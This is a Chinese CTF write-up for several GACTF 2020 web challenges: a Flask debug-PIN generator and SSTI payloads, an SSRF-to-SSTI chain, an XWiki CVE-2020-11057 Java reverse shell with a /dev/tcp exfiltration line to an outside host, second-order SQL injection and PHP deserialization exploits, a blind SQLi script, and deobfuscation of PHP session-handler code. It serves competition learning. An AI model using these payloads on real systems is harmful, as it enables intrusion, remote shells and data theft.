getattr(app, “__name__”, app.__class__.__name__) Flask
str(uuid.getnode()) a8eb6cac33e701ae867269db5ce80e7f62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f
get_machine_id() 2485378088970
绝对路径 /usr/local/lib/python3.7/dist-packages/flask/app.py
  • PIN - payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
'root',
'flask.app',
'Flask',
'/usr/local/lib/python3.7/dist-packages/flask/app.py',
]

private_bits = [
'2485378088968',
'a8eb6cac33e701ae867269db5ce80e7f62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f'
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)
  • shell
1
2
3
4
5
>>> import os
>>> os.popen('ls /').read()
'bin\nboot\ndev\netc\nflag\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n'
>>> os.popen('cat /flag').read()
'GACTF{fac9165b6a2b5ac8bd3b99fad0619366}\n'

另一种 payload:

1
name={{[].__class__.__base__.__subclasses__()[127].__init__.__globals__.__builtins__["open"]("fla".join("/g")).read()}}

EZFLASK

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# -*- coding: utf-8 -*-
from flask import Flask, request
import requests
from waf import *
import time
app = Flask(__name__)

@app.route('/ctfhint')
def ctf():
hint =xxxx # hints
trick = xxxx # trick
return trick

@app.route('/')
def index():
# app.txt
@app.route('/eval', methods=["POST"])
def my_eval():
# post eval
@app.route(xxxxxx, methods=["POST"]) # Secret
def admin():
# admin requests
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8080)
1
2
PS C:\WINDOWS\System32> curl.exe -X POST http://149.28.226.175:10000/eval -d  'eval=ctf.__globals__'
{'my_eval': <function my_eval at 0x7ff4f6b29dd0>, 'app': <Flask 'app_1'>, 'waf_eval': <function waf_eval at 0x7ff4f6b29c50>, 'admin': <function admin at 0x7ff4f6a73650>, 'index': <function index at 0x7ff4f6b29d50>, 'waf_ip': <function waf_ip at 0x7ff4f6b29b50>, '__builtins__': <module '__builtin__' (built-in)>, 'admin_route': '/h4rdt0f1nd_9792uagcaca00qjaf', '__file__': 'app_1.py', 'request': <Request 'http://149.28.226.175:10000/eval' [POST]>, '__package__': None, 'Flask': <class 'flask.app.Flask'>, 'ctf': <function ctf at 0x7ff4f6b29cd0>, 'waf_path': <function waf_path at 0x7ff4f6b29bd0>, 'time': <module 'time' from '/usr/local/lib/python2.7/lib-dynload/time.so'>, '__name__': '__main__', 'requests': <module 'requests' from '/usr/local/lib/python2.7/site-packages/requests/__init__.pyc'>, '__doc__': None}
  • /h4rdt0f1nd_9792uagcaca00qjaf

https://www.secpulse.com/archives/65832.html

1
2
3
4
5
6
7
8
9
10
11
12
13
curl.exe -X POST http://149.28.226.175:10000/h4rdt0f1nd_9792uagcaca00qjaf -d  'ip=127.1.1.1&port=5000&path='

from xxxx import flag
app = flask.Flask(__name__)
app.config['FLAG'] = flag
@app.route('/')
def index():
return open('app.txt').read()
@app.route('/<path:hack>')
def hack(hack):
return flask.render_template_string(hack)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)

payload:

1
2
3
4
ip=127.1.1.1&path={{url_for.__globals__['current_app'].__dict__}}&port=5000

{'subdomain_matching': False, 'error_handler_spec': {}, '_before_request_lock': <thread.lock object at 0x7fca8afb0410>, 'jinja_env': <flask.templating.Environment object at 0x7fca8b1b83d0>, 'before_request_funcs': {}, 'teardown_appcontext_funcs': [], 'shell_context_processors': [], 'after_request_funcs': {}, 'cli': <AppGroup app_2>, '_blueprint_order': [], 'before_first_request_funcs': [], 'view_functions': {'index': <function index at 0x7fca8c1cae50>, 'static': <bound method Flask.send_static_file of <Flask 'app_2'>>, 'hack': <function hack at 0x7fca8b1fcd50>}, 'instance_path': '/app/web2tokensadfafqgqgfaosvbs/instance', 'teardown_request_funcs': {}, 'url_value_preprocessors': {}, 'config': <Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'MAX_COOKIE_SIZE': 4093, 'SESSION_COOKIE_SAMESITE': None, 'PROPAGATE_EXCEPTIONS': None, 'ENV': 'production', 'DEBUG': False, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': '/', 'SERVER_NAME': None, 'FLAG': 'GACTF{wuhUwuHu_a1rpl4n3}', 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': False, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'TRAP_HTTP_EXCEPTIONS': False}>, '_static_url_path': None, 'template_context_processors': {None: [<function _default_template_ctx_processor at 0x7fca8b1fc550>]}, 'template_folder': 'templates', 'blueprints': {}, 'url_map': Map([<Rule '/' (HEAD, OPTIONS, GET) -> index>, <Rule '/static/<filename>' (HEAD, OPTIONS, GET) -> static>, <Rule '/<hack>' (HEAD, OPTIONS, GET) -> hack>]), 'name': 'app_2', '_got_first_request': True, 'import_name': '__main__', 'root_path': '/app/web2tokensadfafqgqgfaosvbs', '_static_folder': 'static', 'extensions': {}, 'url_default_functions': {}, 'url_build_error_handlers': []}

….我 flask 好像 又有点忘了….记得归纳

参考

https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E6%9E%90Python-Flask-SSTI/

xwiki

CVE-2020-11057

https://jira.xwiki.org/browse/XWIKI-16960

1
2
3
4
String host="x.x.x.x";
int port=8080;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

// python的socket 就是连不上。。。。

也可以直接将readflag 上传到自己主机上 cat /readflag > /dev/tcp/x.x.x.x/8080

那个主机上没有: nc scp rsync

后面是逆向,交给队友了

1
2
3
4
5
0110011101100001011000110111010001100110011110110101100001010111011010010110101101101001010111110100001101010110010001010101111101110111011010010111010001101000011011110111010101110100010111110111000001100101011100100110110101101001011100110111001101101001011011110110111001011111011100110110001101110010011010010111000001110100011010010110111001100111010111110110010101111000011001010110001101110101011101000110100101101111011011100010000100100001001000010111110
# 二进制转字符串
gactf{XWiki_CVE_without_permission_scripting_execution!!!>
# 修改
gactf{XWiki_CVE_without_permission_scripting_execution!!!}

carefuleyes

https://www.cnblogs.com/xhds/p/12245175.html

源代码:www.zip

与hitcon-babytrick的基本流程一样:

1
获取usernam&password->利用username&password来反序列化->get_flag
  • 获取usernam&password

利用的代码 rename.php 二次注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
require_once "common.php";

if (isset($req['oldname']) && isset($req['newname'])) {
echo "select * from `file` where `filename`='{$req['oldname']}'";
$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");

if ($result->num_rows > 0) {
$result = $result->fetch_assoc();
echo "select * from `file` where `filename`='{$result['filename']}'".PHP_EOL;
$info = $db->query("select * from `file` where `filename`='{$result['filename']}'");
$info = $info->fetch_assoc();
echo "oldfilename : ".$info['filename']." will be changed."."\n";
} else {
exit("old file doesn't exists!");
}

if ($result) {
echo "before: ".$req['newname']."\n\r";
$req['newname'] = basename($req['newname']);
echo "after: ".$req['newname']."\n\r";
$result['filename'] = addslashes($result['filename']);
echo "update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}".PHP_EOL;
$re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");

这里有一个坑点,在本地复现时,如果用的是win10,basename("\'a\'") return' 而在linux return \'a\'

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
get: \'1\' //一开始传的值
update `file` set `filename`='\\\'1\\\'', `oldname`='1' where `fid`=11
> \'1\' //数据库中存的值
select * from `file` where `filename`='\\\'1\\\''
> \'1\' //return $result['filename']
select * from `file` where `filename`='\'1\''
> NULL // $info['filename']


get \\'1\\' //一开始传的值
update `file` set `filename`='\\\\\'1\\\\\'', `oldname`='1' where `fid`=11
> \\'1\\' //数据库中存的值
select * from `file` where `filename`='\\\\\'1\\\\\''
> \\'1\\' //return $result['filename']
select * from `file` where `filename`='\\'1\\'';
> error check the manual that corresponds to your MySQL server version for the right syntax to use near '1\\''' at line 1
// 注意此处的 1\\'' 已经超过逃出 ''限制

则 payload

1
2
3
4
\\' union select password,password,password,password,password from user where privilege= 0x61646d696e ;#\\'
qweqweqwe
\\' union select username,username,username,username,username from user where privilege= 0x61646d696e ;#\\'
XM
  • 反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class XCTFGG{
private $method;
private $args;

public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function login() {}
}
$result = urlencode(serialize(new XCTFGG('login',['XM ','qweqweqwe'])));
var_dump($result);
  • get_flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST /upload.php?data=O%3A6%3A%22XCTFGG%22%3A2%3A%7Bs%3A14%3A%22%00XCTFGG%00method%22%3Bs%3A5%3A%22login%22%3Bs%3A12%3A%22%00XCTFGG%00args%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A3%3A%22XM+%22%3Bi%3A1%3Bs%3A9%3A%22qweqweqwe%22%3B%7D%7D HTTP/1.1
Host: 202.182.118.236
Content-Length: 1334
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://202.182.118.236
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8rNPfazXNdlq3W4y
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4231.0 Safari/537.36 Edg/86.0.615.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://202.182.118.236/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundary8rNPfazXNdlq3W4y
Content-Disposition: form-data; name="upfile"; filename="4.gif"
Content-Type: image/gif

GIF89aó ....省略




HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sun, 30 Aug 2020 18:58:49 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.6.40
Content-Length: 43

upload successfully!GACTF{!QAZxsw2#EDCvfr4}

Y1ng 师傅的脚本 学到了❤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import HackRequests as HR
import requests as req
import random
from urllib.parse import quote as urlencode

def upload(name):
hack = HR.hackRequests()
raw = '''POST /upload.php HTTP/1.1
Host: 124.71.191.175
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------257708923430047524191624862316
Origin: http://124.71.191.175
Connection: close
Referer: http://124.71.191.175/
Upgrade-Insecure-Requests: 1

-----------------------------257708923430047524191624862316
Content-Disposition: form-data; name="upfile"; filename="%s.jpg"
Content-Type: image/jpeg

Y1ng
-----------------------------257708923430047524191624862316--
''' % name
proxy=('127.0.0.1','8080')
hh = hack.httpraw(raw=raw, ssl=False)

def rename(name):
url = 'http://124.71.191.175/rename.php'
data = {
'oldname' : name,
'newname' : "bbbbb%d.jpg" % random.randint(1,1000000)
}
header = {
"Content-Type" : "application/x-www-form-urlencoded",
"Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Origin" : "http://124.71.191.175",
"Upgrade-Insecure-Requests" : "1"
}
proxies={'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'}
r = req.post(url=url, data=data, headers=header)
if "Y1ng" in r.text:
return True
else:
return False


def main():
sql = "select group_concat(password) from user"
res = ""
for i in range(1,1000):
low = 32
high = 128
mid = (low + high) // 2
while (low < high):
name = f"Y1ng' or ascii(substr(({sql}),{i},1))>{mid}#"
upload(name)
rename_result = rename(name)
if rename_result:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 127:
break
res += chr(mid)
print(res)

if __name__ == '__main__':
main()

babyshop[复现]

python .\git_extract.py http://45.63.19.130:8010/.git/ 获得源代码

https://www.leavesongs.com/PENETRATION/unobfuscated-phpjiami.html

当初这题的init.php直接使我去世,xdebug时因为session问题,一直不行

9月12日复现一波,主要是init.php的调试过程

泪目,还好我源代码没删:

源代码此处就不粘贴了,太多了,感兴趣的老哥可以下载源代码

Link:http://xzaslxr.xyz/wp-content/uploads/2020/09/45.63.19.130_8010.zip

  • 代码格式化

可在格式化网站进行格式化

PHP代码格式化美化-在线PHP代码格式化美化工具 (jsons.cn)

手动分析

已经得到的值

1
2
3
4
5
$原 = "chr";
$虚物长度 = "count";
$随缘 = "rand";
$千奇百出 = "余壶血史两恐自扩劫盏铁天";
$来者无惧 = "余壶仍灯两恐尽天";

ctrl h 替换上面的一些参数 , 如$原( => chr(

  • $虚空之数
1
$虚空之数 = count($this->大宇) - count($this->大宇);  // $虚空之数 = 0;  count($this->大宇) = 66
  • function 太古仓 字符串第二维 等于输入参数时的第一位的数值
1
2
3
4
5
6
7
8
9
10
function 太古仓($圆点)
{
global $虚空之数, $虚物长度;//虚物长度 = 66
for ($内仓侍卫 = $虚空之数; $内仓侍卫 < count($this->大宇); $内仓侍卫++) {
if ($this->大宇[$内仓侍卫][$虚空之数] == $圆点) {
return $内仓侍卫;
}
}
return $虚空之数;
}
  • $天书, $原, $虚物长度, $异闻录, $实物长度, $寻根, $奇语切片, $出窍, $遮天之术, $虚空之数, $实打实在, $虚无缥缈;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
    function 融合()
{
global $天书, $原, $虚物长度, $异闻录, $实物长度, $寻根, $奇语切片, $出窍, $遮天之术, $虚空之数, $实打实在, $虚无缥缈;
$天书 = array("阿尔法", "喝彩", "查理", "三角洲", "回声", "狐步舞", "高尔夫球", "旅馆", "印度", "朱丽叶", "公斤", "利马", "麦克", "十一月", "奥斯卡", "爸爸", "魁北克", "罗密欧", "塞拉", "探戈", "制服", "胜利者", "威士忌", "伦琴射线", "扬基", "祖鲁");
$实物长度 = 点灯(array("回声", "印度", "狐步舞", "印度", "三角洲", "印度", "十一月", "旅馆", "高尔夫球", "旅馆", "爸爸", "旅馆"));
$寻根 = 点灯(array("回声", "印度", "狐步舞", "印度", "三角洲", "印度", "喝彩", "印度", "魁北克", "旅馆", "回声", "印度"));
$奇语切片 = 点灯(array("公斤", "奥斯卡", "利马", "奥斯卡", "朱丽叶", "奥斯卡", "威士忌", "麦克", "公斤", "奥斯卡", "旅馆", "奥斯卡", "探戈", "十一月", "魁北克", "十一月", "利马", "奥斯卡"));
$出窍 = 点灯(array("印度", "十一月", "朱丽叶", "奥斯卡", "朱丽叶", "奥斯卡", "印度", "十一月", "魁北克", "奥斯卡", "威士忌", "麦克", "旅馆", "奥斯卡", "威士忌", "十一月", "旅馆", "奥斯卡"));
$遮天之术 = 点灯(array("高尔夫球", "公斤", "狐步舞", "公斤", "旅馆", "利马", "朱丽叶", "公斤", "公斤", "旅馆", "印度", "旅馆", "探戈", "朱丽叶", "印度", "公斤", "朱丽叶", "公斤", "旅馆", "公斤", "探戈", "公斤", "印度", "公斤", "朱丽叶", "公斤"));
$虚空之数 = count($this->大宇) - count($this->大宇);//
$实打实在 = count($this->大宇) == count($this->酉戊) / 5 * (11 + 1 + 1) + 1;
$虚无缥缈 = count($this->大宇) == (count($天书) + 5) / 3 * (2 + 1 + 13);
$异闻录 = chr($this->太古仓("春")) . chr($this->太古仓("铃"));//
for ($爆裂 = count($this->大宇) - 1; $爆裂 < count($this->大宇) + count($this->丙午); $爆裂++) { ///count($this->丙午) = 25
$异闻录 .= chr($爆裂);
}
for ($爆裂 = count($this->大宇) / (2 + 1) + count($this->酉午) * (2 + 1); $爆裂 < count($this->支壬) * 5 - 2; $爆裂++) {
$异闻录 .= chr($爆裂);
}
for ($爆裂 = (count($this->庚地) + count($this->大宇)) / 2 + 1; $爆裂 < count($this->大宇) - count($this->辰寅) / (2 + 1); $爆裂++) {
$异闻录 .= chr($爆裂);
}
}
}
function 点灯($俚语)
{
global $天书, $虚物长度, $虚空之数, $原;
$偏离 = count($俚语) % 11;
$简易之物 = "";
for ($简易种子 = $虚空之数; $简易种子 < count($俚语) / (1 + 1); $简易种子++) {
$贾 = $虚空之数;
for ($另类种子 = $偏离; $另类种子 < $偏离 + 11 + 2 + 2 + 1; $另类种子++) {
if ($天书[$另类种子] == $俚语[$简易种子 + $简易种子]) {
$贾 += $另类种子;
$贾 -= $偏离;
}
if ($天书[$另类种子] == $俚语[$简易种子 + $简易种子 + 1]) {
$贾 += $另类种子 * 2 * 2 * 2 * 2;
$贾 -= $偏离 * 2 * 2 * 2 * 2;
}
}
$简易之物 .= chr($贾);
}
return $简易之物;
}
function print_var_name($var) {
foreach($GLOBALS as $var_name => $value) {
if ($value === $var) {
return $var_name;
}
}

return false;
}

$原 = "chr";
$虚物长度 = "count";
$随缘 = "rand";
$千奇百出 = "余壶血史两恐自扩劫盏铁天";
$来者无惧 = "余壶仍灯两恐尽天";
$虚空之数 = 0;
$fe1w0 = new 造化之神;
$arr = array($天书, $原, $虚物长度, $异闻录, $实物长度, $寻根, $奇语切片, $出窍, $遮天之术, $虚空之数, $实打实在, $虚无缥缈);
for($i=0;$i<count($arr);$i++)
{
echo print_var_name($arr[$i])." :".$arr[$i].PHP_EOL;
}

$天书=
/home/fe1w0/babyshop/tttttt.php:232:
array(26) {
[0] =>
string(9) "阿尔法"
[1] =>
string(6) "喝彩"
[2] =>
string(6) "查理"
[3] =>
string(9) "三角洲"
[4] =>
string(6) "回声"
[5] =>
string(9) "狐步舞"
[6] =>
string(12) "高尔夫球"
[7] =>
string(6) "旅馆"
[8] =>
string(6) "印度"
[9] =>
string(9) "朱丽叶"
[10] =>
string(6) "公斤"
[11] =>
string(6) "利马"
[12] =>
string(6) "麦克"
[13] =>
string(9) "十一月"
[14] =>
string(9) "奥斯卡"
[15] =>
string(6) "爸爸"
[16] =>
string(9) "魁北克"
[17] =>
string(9) "罗密欧"
[18] =>
string(6) "塞拉"
[19] =>
string(6) "探戈"
[20] =>
string(6) "制服"
[21] =>
string(9) "胜利者"
[22] =>
string(9) "威士忌"
[23] =>
string(12) "伦琴射线"
[24] =>
string(6) "扬基"
[25] =>
string(6) "祖鲁"
}
$原=
/home/fe1w0/babyshop/tttttt.php:232:
string(3) "chr"
$虚物长度=
/home/fe1w0/babyshop/tttttt.php:232:
string(5) "count"
$异闻录=
/home/fe1w0/babyshop/tttttt.php:232:
string(66) "+=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz./0123456789"
$实物长度=
/home/fe1w0/babyshop/tttttt.php:232:
string(6) "strlen"
$寻根=
/home/fe1w0/babyshop/tttttt.php:232:
string(6) "strpos"
$奇语切片=
/home/fe1w0/babyshop/tttttt.php:232:
string(9) "str_split"
$出窍=
/home/fe1w0/babyshop/tttttt.php:232:
string(9) "array_pop"
$遮天之术=
/home/fe1w0/babyshop/tttttt.php:232:
string(13) "base64_decode"
$虚空之数=
/home/fe1w0/babyshop/tttttt.php:232:
int(0)
$实打实在=
/home/fe1w0/babyshop/tttttt.php:232:
bool(true)
$虚无缥缈=
/home/fe1w0/babyshop/tttttt.php:232:
bool(false)
  • 双手造物
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function 双手造物($物, $左手, $右手)
{
造化($物)(造化($左手), 造化($右手));
var_dump(造化($物));
var_dump(造化($左手));
var_dump(造化($右手));
}
双手造物("诊秀倾垫余监血泡披切天夫", "沃乎泡误拢瓜迷物构吨悔沿抹孟扩逃规承舌天", "劫哥沃实");


/home/fe1w0/babyshop/tttttt.php:247:
string(7) "ini_set"
/home/fe1w0/babyshop/tttttt.php:248:
string(14) "display_errors"
/home/fe1w0/babyshop/tttttt.php:249:
string(3) "Off"
  • 造化与 使用造化函数混淆的参数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function 造化($奇语) 
{
global $异闻录, $奇语切片, $虚物长度, $出窍, $虚空之数, $虚无缥缈, $遮天之术,$fe1w0;
$fe1w0 = $奇语;
$奇语 = str_split($奇语, 2 + 1);//从第4个开始拆开
$造化之子 = new 造化之神();
$翻译果实 = "";
for ($翻译种子 = $虚空之数; $翻译种子 < $虚物长度($奇语); $翻译种子++) {
for ($造化种子 = $虚空之数; $造化种子 < $虚物长度($造化之子->大宇); $造化种子++) {
$造化之孙 = $造化之子->大宇[$造化种子];
$造化之孙长度 = $虚物长度($造化之孙);
if ($造化之孙长度 == $虚空之数) {
continue;
}
if ($造化之孙[$造化之孙长度 - 1] == $奇语[$翻译种子]) {
$翻译果实 .= $异闻录[$造化种子];
array_pop($造化之子->大宇[$造化种子]);
break;
}
}
}
echo print_var_name($fe1w0).":".base64_decode($翻译果实);
return base64_decode($翻译果实);
}

之后的混淆基本上全是用造化来混淆,可以将混淆的变量名和变量值一同打印分析。

参考的E99p1ant 师傅

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
<?php
#session_save_path('/var/www/html/babycode/storage');

class 造化之神 {
// 构造函数
function __construct() {
$this->融合();
}
function 融合() {
global $天书,$异闻录,$实物长度,$寻根,$奇语切片,$出窍,$遮天之术,$虚空之数, $实打实在,$虚无缥缈;

// $虚空之数 = NULL

$天书=array("阿尔法","喝彩","查理","三角洲","回声","狐步舞","高尔夫球","旅馆","印度","朱丽叶","公斤","利马","麦克","十一月","奥斯卡","爸爸","魁北克","罗密欧","塞拉","探戈","制服","胜利者","威士忌","伦琴射线","扬基","祖鲁");

$实物长度='strlen';

$寻根='strpos';

$奇语切片='str_split';

$出窍='array_pop';

$遮天之术='base64_decode';

$虚空之数=0;

$实打实在 = true;
$虚无缥缈 = false;
$异闻录= '+=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz./0123456789';
}
}

// 上面是加密的构造函数,可以不管
new 造化之神();

$千奇百出="余壶血史两恐自扩劫盏铁天";

$来者无惧="余壶仍灯两恐尽天";

ini_set('display_errors', 'On');

$宝物="冻实史畏言秀倾服沃尽天夫";

class 造齿轮 {
protected$朝拜圣地;
protected$贡品;
protected$圣殿;
protected$禁地;

public function __construct() {
echo '__construct'.PHP_EOL;
$this->朝拜圣地 = 'storage';
if(!is_dir($this->朝拜圣地)){
mkdir($this->朝拜圣地);
}

$this->禁地 = array('php', 'flag', 'html', 'htaccess');
}

// 检查 Cookie 里是否有黑名单
public function 挖掘($货物, $食物) {
echo '挖掘'.PHP_EOL;
foreach($this->禁地 as $元素) {
if(stripos(@$_COOKIE[$食物], $元素) !== false) {
die('invaild ' . $食物);// PHPSESSID
return false;
}
}

$this->圣殿 = session_id();
return true;
}
#'/proc/self/cwd/'. '/var/www/html/babycode/'.
// 写文件
public function 种植($货物,$食物) {
echo '种植'.PHP_EOL."$this->贡品".$食物;
$this->贡品 = $货物;
return file_put_contents('/var/www/html/babycode/'.$this->朝拜圣地.'/sess_'.$货物,$食物);
}

// 读文件
public function 收获($货物) {
echo '收获'.PHP_EOL;
$this->贡品=$货物;
return (string)@file_get_contents('/var/www/html/babycode/'.$this->朝拜圣地.'/sess_'.$货物);
}


public function 总结($货物) {
echo '总结'.PHP_EOL."$this->货物";
global$实物长度,$虚无缥缈;
if(strlen($this->圣殿) <= 0){
return;
}
return file_put_contents(''.$this->朝拜圣地.'/note_'.$this->圣殿,$货物)===$虚无缥缈?$虚无缥缈:true;
}

public function 归纳() {
echo '归纳'.PHP_EOL;
return (string)@file_get_contents('/var/www/html/babycode/'.$this->朝拜圣地.'/note_'.$this->贡品);
}

public function 思考($货物) {
echo '思考'.PHP_EOL;
$this->贡品=$货物;
if(file_exists($this->朝拜圣地.'/sess_'.$货物)) {
unlink($this->朝拜圣地.'/sess_'.$货物);
}
return true;
}
public function 反省($货物) {
echo '反省'.PHP_EOL;
foreach(glob($this->朝拜圣地.'/*') as $元素) {
if(filemtime($元素) + $货物 < time() && file_exists($元素)) {
unlink($元素);
}
}
return true;
}
public function 完毕() {
echo '完毕'.PHP_EOL;
return true;
}

public function __destruct() {
echo '__destruct'.PHP_EOL;
$this->总结($this->归纳());
}
}
$齿轮=new 造齿轮();
session_set_save_handler(array($齿轮, '挖掘'), array($齿轮, '完毕'), array($齿轮, '收获'), array($齿轮, '种植'), array($齿轮, '反省'), array($齿轮, '完毕'));
session_start();


srand(mktime(0,0,0,0,0,0));

$盛世=array(rand()=>array('alice',0b1),rand()=>array('bob',0b101),rand()=>array('cat',0b10100),rand()=>array('dog',0b1111),rand()=>array('evil',0b101),rand()=>array('flag',0b10011100001111));

function 化缘() {
return $_SESSION[' '];
}
function 取经() {
global$盛世;
$宝藏='[';
foreach($_SESSION['items'] as $元素){
$宝藏 .= $盛世[$元素][0].', ';//$宝藏 <= items
}
$宝藏.=']';

return $宝藏;
}
function 念经() {
global $齿轮;
return $齿轮->归纳();
}
function 造世() {
global $盛世;
$宝藏='';
foreach($盛世 as $按键=>$元素){
$宝藏 .=
'<div class="item"><form method="POST"><div class="form-group">'.
$元素[0].
'</div><div class="form-group"><input type="hidden" name="id" value=""'.
$按键.
'"><button type="submit" class="btn btn-success">buy ($'.$元素[1].')</button></div></form></div>';
}
return $宝藏;
}

global $_POST,$_SESSION,$_COOKIE;

if(!isset($_SESSION['balance'])){
$_SESSION['balance'] = 0b1000101110010/2;
}

if(!isset($_SESSION['items'])){
$_SESSION['items'] = [];
}

if(!isset($_SESSION['note'])){
$_SESSION['note'] = '';
};

if(isset($_POST['id'])) {
if($_SESSION['balance'] >= $盛世[$_POST['id']][1]) {
$_SESSION['balance'] = $_SESSION['balance']-$盛世[$_POST['id']][1];
array_push($_SESSION['items'], $_POST['id']);//items <= id
echo('<span style="color:green">buy succ!</span>');
} else {
echo('<span style="color:red">lack of balance!</span>');
}
}
var_dump($_POST['note']);
if(isset($_POST['note'])) {
if(strlen($_POST['note'])<=1<<10) {
